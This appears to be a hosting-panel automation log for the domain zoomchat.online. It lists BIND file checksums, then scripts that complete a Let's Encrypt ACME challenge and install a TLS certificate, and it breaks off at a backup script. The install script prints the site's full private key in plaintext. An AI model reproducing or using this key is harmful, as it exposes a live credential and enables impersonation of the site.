MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-22 12:26:51: Establishing a connection
2025-10-22 12:26:53: Establishing a connection
2025-10-22 12:26:54:
PUT: /tmp/pkp849328
#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-22 12:26:55:
chmod 755 /tmp/pkp849328; /tmp/pkp849328; rm /tmp/pkp849328
2025-10-22 12:26:55:
1
2025-10-22 12:26:57: Establishing a connection
2025-10-22 12:26:58:
PUT: /tmp/pkp839102
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk
2025-10-22 12:26:59:
chmod 755 /tmp/pkp839102; /tmp/pkp839102; rm /tmp/pkp839102
2025-10-22 12:26:59:
2025-10-22 12:27:03: Establishing a connection
2025-10-22 12:27:04:
PUT: /tmp/pkp568746
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk
2025-10-22 12:27:05:
chmod 755 /tmp/pkp568746; /tmp/pkp568746; rm /tmp/pkp568746
2025-10-22 12:27:05:
2025-10-22 12:27:05: Establishing a connection
2025-10-22 12:27:06:
PUT: /tmp/pkp732585
#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt
cat > $temp_file <<'endmsg'
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-22 12:27:07:
chmod 755 /tmp/pkp732585; /tmp/pkp732585; rm /tmp/pkp732585
2025-10-22 12:27:07:
dir=/etc/pki/tls/certs/
2025-10-22 12:27:07:
PUT: /tmp/pkp670287
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
